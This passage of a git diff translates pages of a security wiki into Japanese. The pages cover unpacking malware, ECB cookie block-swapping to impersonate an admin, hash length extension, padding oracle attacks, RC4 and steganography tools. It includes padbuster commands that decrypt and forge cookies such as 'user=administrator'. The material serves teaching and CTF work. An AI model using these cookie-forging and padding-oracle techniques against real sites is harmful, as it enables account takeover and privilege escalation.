binary isn't packed. -- You can also use some tools to try to find which packer was used to pack a binary: - - [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) - - [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) - - [Language 2000](http://farrokhi.net/language/) +- **文字列の欠如**: パックされたバイナリにはほとんど文字列がないことが一般的です。 +- **未使用の文字列**: また、マルウェアが商業用パッカーを使用している場合、相互参照のない多くの文字列が見つかることが一般的です。これらの文字列が存在しても、バイナリがパックされていないことを意味するわけではありません。 +- バイナリをパックするために使用されたパッカーを特定するために、いくつかのツールを使用することもできます: +- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) +- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) +- [Language 2000](http://farrokhi.net/language/) -# Basic Recommendations +# 基本的な推奨事項 -- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start. -- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it. -- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved. - - **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here). -- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting. -- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory). -- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\ - However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases. -- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). +- **IDAでパックされたバイナリを** **下から上に** **分析し始めます**。アンパッカーはアンパックされたコードが終了すると終了するため、アンパッカーが最初にアンパックされたコードに実行を渡すことは考えにくいです。 +- **レジスタ**や**メモリ**の**領域**への**JMP**や**CALL**を探します。また、**引数とアドレスをプッシュしてから`retn`を呼び出す関数**を探します。なぜなら、その場合の関数の戻りは、呼び出す前にスタックにプッシュされたアドレスを呼び出す可能性があるからです。 +- `VirtualAlloc`に**ブレークポイント**を設定します。これは、プログラムがアンパックされたコードを書き込むためのメモリ内のスペースを割り当てます。「ユーザーコードまで実行」するか、F8を使用して**関数を実行した後にEAX内の値を取得**します。そして「**ダンプ内のそのアドレスを追跡**」します。アンパックされたコードが保存される領域であるかもしれないので、どこに保存されるかはわかりません。 +- **`VirtualAlloc`**に**「40」**という値を引数として渡すことは、読み取り+書き込み+実行を意味します(実行が必要なコードがここにコピーされる予定です)。 +- コードを**アンパックしている間**、**いくつかの呼び出し**が**算術演算**や**`memcopy`**や**`Virtual`**`Alloc`のような関数に見られるのは普通です。もし、明らかに算術演算のみを行い、場合によっては`memcopy`を行う関数にいる場合、**関数の終わりを見つける**(おそらくレジスタへのJMPまたは呼び出し)**か**、少なくとも**最後の関数への呼び出しを見つけて実行する**ことをお勧めします。なぜなら、そのコードは興味深くないからです。 +- コードをアンパックしている間、**メモリ領域が変更されたときは注意**してください。メモリ領域の変更は、**アンパックコードの開始を示す可能性があります**。Process Hackerを使用してメモリ領域を簡単にダンプできます(プロセス --> プロパティ --> メモリ)。 +- コードをアンパックしようとしているとき、**アンパックされたコードで作業しているかどうかを知る良い方法**(そのため、単にダンプできます)は、**バイナリの文字列を確認すること**です。ある時点でジャンプを行い(おそらくメモリ領域を変更)、**はるかに多くの文字列が追加されたことに気付いた場合、**あなたが**アンパックされたコードで作業していることがわかります**。\ +しかし、パッカーにすでに多くの文字列が含まれている場合は、「http」という単語を含む文字列の数を確認し、この数が増加するかどうかを確認できます。 +- メモリの領域から実行可能ファイルをダンプするとき、[PE-bear](https://github.com/hasherezade/pe-bear-releases/releases)を使用していくつかのヘッダーを修正できます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/electronic-code-book-ecb.md b/src/crypto-and-stego/electronic-code-book-ecb.md index a09798b1e..fad029bf2 100644 --- a/src/crypto-and-stego/electronic-code-book-ecb.md +++ b/src/crypto-and-stego/electronic-code-book-ecb.md @@ -2,34 +2,32 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) 電子コードブック - 対称暗号化方式で、**平文の各ブロックを** **暗号文のブロックに置き換えます**。これは**最も単純な**暗号化方式です。主なアイデアは、**平文をNビットのブロックに分割**(入力データのブロックサイズ、暗号化アルゴリズムに依存)し、次にその平文の各ブロックを唯一のキーを使用して暗号化(復号化)することです。 ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +ECBを使用することには複数のセキュリティ上の影響があります: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **暗号化されたメッセージからブロックを削除できる** +- **暗号化されたメッセージからブロックを移動できる** -# Detection of the vulnerability +# 脆弱性の検出 -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +アプリケーションに何度もログインすると、**常に同じクッキーを取得する**ことを想像してください。これは、アプリケーションのクッキーが**`|`**であるためです。\ +次に、**同じ長いパスワード**と**ほぼ同じ** **ユーザー名**を持つ新しいユーザーを2人生成します。\ +**両方のユーザーの情報が同じである8Bのブロックが** **等しい**ことがわかります。次に、これは**ECBが使用されている**ためかもしれないと想像します。 +次の例のように。これらの**2つのデコードされたクッキー**が何度もブロック**`\x23U\xE45K\xCB\x21\xC8`**を持っていることに注目してください。 ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +これは、**それらのクッキーのユーザー名とパスワードに「a」という文字が何度も含まれていたため**です(例えば)。**異なる**ブロックは、**少なくとも1つの異なる文字**(区切り文字「|」やユーザー名の必要な違いなど)を含むブロックです。 -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +今、攻撃者はフォーマットが``または``のどちらであるかを発見する必要があります。そのために、**似たような長いユーザー名とパスワードを持ついくつかのユーザー名を生成するだけで、フォーマットと区切り文字の長さを見つけることができます:** -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** - -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | +| ユーザー名の長さ: | パスワードの長さ: | ユーザー名+パスワードの長さ: | クッキーの長さ(デコード後): | | ---------------- | ---------------- | ------------------------- | --------------------------------- | | 2 | 2 | 4 | 8 | | 3 | 3 | 6 | 8 | @@ -37,37 +35,33 @@ Now, the attacker just need to discover if the format is `< | 4 | 4 | 8 | 16 | | 7 | 7 | 14 | 16 | -# Exploitation of the vulnerability +# 脆弱性の悪用 -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## 完全なブロックの削除 +クッキーのフォーマット(`|`)を知っている場合、ユーザー名`admin`を偽装するために、`aaaaaaaaadmin`という新しいユーザーを作成し、クッキーを取得してデコードします: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +以前に作成したパターン `\x23U\xE45K\xCB\x21\xC8` を見ることができます。このパターンは、`a` のみを含むユーザー名で作成されました。\ +次に、最初の8Bのブロックを削除すると、ユーザー名 `admin` の有効なクッキーが得られます: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## ブロックの移動 -## Moving blocks +多くのデータベースでは、`WHERE username='admin';`を検索するのと、`WHERE username='admin ';`を検索するのは同じです。 _(余分なスペースに注意)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +したがって、ユーザー`admin`を偽装する別の方法は次のとおりです。 -So, another way to impersonate the user `admin` would be to: +- ユーザー名を生成します: `len() + len(`は2つの8Bのブロックを生成します。 +- 次に、偽装したいユーザー名とスペースを含む正確な数のブロックを埋めるパスワードを生成します: `admin ` -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +このユーザーのクッキーは3つのブロックで構成されます: 最初の2つはユーザー名 + デリミタのブロックで、3つ目は(ユーザー名を偽装している)パスワードです: `username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +**次に、最初のブロックを最後のブロックに置き換えるだけで、ユーザー`admin`を偽装します: `admin |username`** -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -## References +## 参考文献 - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index 2faf6564f..5a9b52fcd 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -1,18 +1,16 @@ -# Esoteric languages +# エソテリック言語 {{#include ../banners/hacktricks-training.md}} ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) -Check that wiki to search more esotreic languages +そのウィキをチェックして、より多くのエソテリック言語を検索してください。 ## Malbolge - ``` ('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}= ``` - [http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl) ## npiet @@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) ## Rockstar - ``` Midnight takes your heart and your soul While your heart is as high as your soul @@ -51,11 +48,9 @@ Take it to the top Whisper my world ``` - {% embed url="https://codewithrockstar.com/" %} ## PETOOH - ``` KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah @@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO Kukarek ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 51a38df3f..238de8d95 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -1,38 +1,38 @@ -# Hash Length Extension Attack +# ハッシュ長拡張攻撃 {{#include ../banners/hacktricks-training.md}} -## Summary of the attack +## 攻撃の概要 -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +サーバーが**データ**に**秘密**を**追加**して**署名**し、そのデータをハッシュ化していると想像してください。もしあなたが以下を知っているなら: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **秘密の長さ**(これは与えられた長さの範囲からブルートフォースで求めることもできます) +- **平文データ** +- **アルゴリズム(そしてそれがこの攻撃に対して脆弱である)** +- **パディングが知られている** +- 通常はデフォルトのものが使用されるため、他の3つの要件が満たされていれば、これもそうです +- パディングは秘密+データの長さによって異なるため、秘密の長さが必要です -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +その場合、**攻撃者**は**データ**を**追加**し、**以前のデータ + 追加データ**の有効な**署名**を**生成**することが可能です。 -### How? +### どうやって? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +基本的に、脆弱なアルゴリズムは最初に**データのブロックをハッシュ化**し、その後、**以前に**作成された**ハッシュ**(状態)から**次のデータのブロックを追加**して**ハッシュ化**します。 -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +例えば、秘密が「secret」でデータが「data」の場合、「secretdata」のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\ +攻撃者が「append」という文字列を追加したい場合、彼は以下のことができます: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- 64の「A」のMD5を生成する +- 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する +- 文字列「append」を追加する +- ハッシュを完了し、結果のハッシュは「secret」 + 「data」 + 「padding」 + 「append」の**有効なもの**になります -### **Tool** +### **ツール** {% embed url="https://github.com/iagox86/hash_extender" %} -### References +### 参考文献 -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +この攻撃については[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)でよく説明されています。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/padding-oracle-priv.md b/src/crypto-and-stego/padding-oracle-priv.md index 96d3145a3..d16059852 100644 --- a/src/crypto-and-stego/padding-oracle-priv.md +++ b/src/crypto-and-stego/padding-oracle-priv.md @@ -2,26 +2,24 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} - ## CBC - Cipher Block Chaining -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +CBCモードでは、**前の暗号化ブロックがIVとして使用され**、次のブロックとXORされます: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +CBCを復号するには、**逆の** **操作**が行われます: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +**暗号化** **キー**と**IV**を使用する必要があることに注意してください。 -## Message Padding +## メッセージパディング -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +暗号化は**固定** **サイズ** **ブロック**で行われるため、**最後の** **ブロック**の長さを完了するために**パディング**が通常必要です。\ +通常、**PKCS7**が使用され、ブロックを完了するために**必要な** **バイト数**を**繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。 -Let's look at more examples with a **2 blocks of length 8bytes**: +**8バイトの長さの2つのブロック**の例を見てみましょう: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +最後の例では、**最後のブロックが満杯だったため、パディングだけの別のブロックが生成されました**。 ## Padding Oracle -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +アプリケーションが暗号化されたデータを復号するとき、最初にデータを復号し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作を引き起こす**場合、**パディングオラクルの脆弱性**があります。検出可能な動作は、**エラー**、**結果の欠如**、または**応答の遅延**である可能性があります。 -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +この動作を検出した場合、**暗号化されたデータを復号**し、さらには**任意の平文を暗号化**することができます。 -### How to exploit - -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do +### どのように悪用するか +この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に行うことができます。 ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +サイトのクッキーが脆弱かどうかをテストするために、次のことを試すことができます: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**エンコーディング 0** は **base64** が使用されていることを意味します(他のオプションも利用可能です。ヘルプメニューを確認してください)。 -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +この脆弱性を**悪用して新しいデータを暗号化することもできます。例えば、クッキーの内容が "**_**user=MyUsername**_**" の場合、これを "\_user=administrator\_" に変更してアプリケーション内で権限を昇格させることができます。また、`paduster`を使用して -plaintext** パラメータを指定することでも可能です。 ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +サイトが脆弱な場合、`padbuster`は自動的にパディングエラーが発生するタイミングを探しますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。 ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +### 理論 -### The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +**要約**すると、すべての**異なるパディング**を作成するために使用できる正しい値を推測することで、暗号化されたデータの復号を開始できます。次に、パディングオラクル攻撃が、1、2、3などのパディングを**作成する**正しい値を推測しながら、最後から最初へバイトを復号化し始めます。 ![](<../images/image (561).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +暗号化されたテキストが**2ブロック**(**E0からE15**のバイトで構成される)を占めていると想像してください。\ +**最後の** **ブロック**(**E8**から**E15**)を**復号化**するために、全ブロックが「ブロック暗号復号化」を通過し、**中間バイトI0からI15**を生成します。\ +最後に、各中間バイトは前の暗号化されたバイト(E0からE7)と**XOR**されます。したがって: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +今、`C15`を`0x01`に**変更する**ことが可能であり、これも正しいパディングになります。したがって、この場合:`\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +したがって、E'7を見つけることで、**I15を計算する**ことが可能です:`I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +これにより、**C15を計算する**ことができます:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +**C15**を知っているので、今度は**C14を計算する**ことが可能ですが、今回はパディング`\x02\x02`をブルートフォースします。 -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +このBFは前のものと同じくらい複雑で、値が0x02の`E''15`を計算することが可能です:`E''7 = \x02 ^ I15`。したがって、**`C14`が`0x02`に等しい**ように生成する**`E'14`**を見つけるだけです。\ +次に、C14を復号化するために同じ手順を実行します:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**このチェーンをたどって、暗号化されたテキスト全体を復号化します。** -### Detection of the vulnerability +### 脆弱性の検出 -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +アカウントを登録し、このアカウントでログインします。\ +**何度もログイン**して、常に**同じクッキー**を取得する場合、アプリケーションに**何か**が**間違っている**可能性があります。ログインするたびに**返送されるクッキーは一意であるべきです**。クッキーが**常に**同じであれば、それはおそらく常に有効であり、無効にする方法は**ありません**。 -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +今、**クッキーを変更**しようとすると、アプリケーションから**エラー**が返されることがわかります。\ +しかし、パディングをBF(例えばpadbusterを使用)すると、異なるユーザーに対して有効な別のクッキーを取得することができます。このシナリオは、padbusterに対して非常に脆弱である可能性があります。 -### References +### 参考文献 - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index dc89fa296..b02f30191 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +もしRC4を使用してプレーンテキストを暗号化できれば、同じパスワードを使用してそのRC4によって暗号化された任意のコンテンツを暗号化関数を使って復号化できます。 -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +既知のプレーンテキストを暗号化できる場合、パスワードを抽出することも可能です。詳細な参考情報はHTB Kryptosマシンにあります: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/crypto-and-stego/stego-tricks.md b/src/crypto-and-stego/stego-tricks.md index 91ed86406..dc13daaf8 100644 --- a/src/crypto-and-stego/stego-tricks.md +++ b/src/crypto-and-stego/stego-tricks.md @@ -1,51 +1,42 @@ -# Stego Tricks +# ステゴトリック {{#include ../banners/hacktricks-training.md}} -## **Extracting Data from Files** +## **ファイルからのデータ抽出** ### **Binwalk** -A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk). - +埋め込まれた隠しファイルやデータを探すためのバイナリファイル検索ツールです。`apt`を介してインストールされ、ソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手可能です。 ```bash binwalk file # Displays the embedded data binwalk -e file # Extracts the data binwalk --dd ".*" file # Extracts all data ``` - ### **Foremost** -Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost). - +ヘッダーとフッターに基づいてファイルを回復し、png画像に便利です。`apt`を介してインストールされ、そのソースは[GitHub](https://github.com/korczis/foremost)にあります。 ```bash foremost -i file # Extracts data ``` - ### **Exiftool** -Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/). - +ファイルメタデータを表示するのに役立ちます。利用可能なリンクは[こちら](https://www.sno.phy.queensu.ca/~phil/exiftool/)です。 ```bash exiftool file # Shows the metadata ``` - ### **Exiv2** -Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/). - +exiftoolと同様に、メタデータの表示に使用されます。`apt`を介してインストール可能で、ソースは[GitHub](https://github.com/Exiv2/exiv2)にあり、[公式ウェブサイト](http://www.exiv2.org/)があります。 ```bash exiv2 file # Shows the metadata ``` +### **ファイル** -### **File** +扱っているファイルの種類を特定します。 -Identify the type of file you're dealing with. - -### **Strings** - -Extracts readable strings from files, using various encoding settings to filter the output. +### **文字列** +さまざまなエンコーディング設定を使用して、ファイルから読み取り可能な文字列を抽出します。 ```bash strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file | head -n 20 # First 20 strings @@ -57,74 +48,65 @@ strings -e b -n 6 file # 16bit strings (big-endian) strings -e L -n 6 file # 32bit strings (little-endian) strings -e B -n 6 file # 32bit strings (big-endian) ``` +### **比較 (cmp)** -### **Comparison (cmp)** - -Useful for comparing a modified file with its original version found online. - +オンラインで見つかった元のバージョンと修正されたファイルを比較するのに便利です。 ```bash cmp original.jpg stego.jpg -b -l ``` +## **テキスト内の隠れたデータの抽出** -## **Extracting Hidden Data in Text** +### **スペース内の隠れたデータ** -### **Hidden Data in Spaces** +見た目には空のスペースに隠された情報があるかもしれません。このデータを抽出するには、[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)を訪れてください。 -Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). +## **画像からのデータの抽出** -## **Extracting Data from Images** - -### **Identifying Image Details with GraphicMagick** - -[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image: +### **GraphicMagickを使用した画像詳細の特定** +[GraphicMagick](https://imagemagick.org/script/download.php)は、画像ファイルの種類を特定し、潜在的な破損を識別するために使用されます。画像を検査するには、以下のコマンドを実行してください: ```bash ./magick identify -verbose stego.jpg ``` - -To attempt repair on a damaged image, adding a metadata comment might help: - +損傷した画像の修復を試みるために、メタデータコメントを追加することが役立つかもしれません: ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` +### **データ隠蔽のためのSteghide** -### **Steghide for Data Concealment** +Steghideは、`JPEG, BMP, WAV, AU`ファイル内にデータを隠すことを容易にし、暗号化されたデータの埋め込みと抽出が可能です。インストールは`apt`を使用して簡単に行え、[ソースコードはGitHubで入手可能です](https://github.com/StefanoDeVuono/steghide)。 -Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide). +**コマンド:** -**Commands:** +- `steghide info file`は、ファイルに隠されたデータが含まれているかどうかを明らかにします。 +- `steghide extract -sf file [--passphrase password]`は、隠されたデータを抽出します。パスワードはオプションです。 -- `steghide info file` reveals if a file contains hidden data. -- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional. +ウェブベースの抽出については、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。 -For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html). - -**Bruteforce Attack with 